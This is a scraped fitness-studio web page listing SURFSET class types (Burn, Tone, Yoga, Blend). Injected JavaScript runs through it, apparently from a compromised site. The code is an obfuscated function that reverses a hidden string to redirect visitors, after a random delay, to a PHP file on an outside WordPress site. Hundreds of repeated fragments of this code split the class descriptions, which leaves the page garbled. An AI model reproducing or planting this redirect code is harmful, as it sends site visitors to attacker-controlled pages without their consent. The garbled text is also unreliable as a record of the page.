SURFSET Burn$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andpilatesstudio.com/wp-content/uploads/2015/07/4Programsweb1.gif” alt=”” width=”600″ height=”405″ />
Focus on Interval Training

 

SURFSET Tone (Build)
Focus on Core, Muscular Endurance andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Strength.

 

SURFSET Yoga (Balance)
Focus on Balance, Strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Flexibility. Yoga based.

 

SURFSET Blend
A Combination of all 4 principles: Balance, Cardio, Strength & Flexibility/Agility.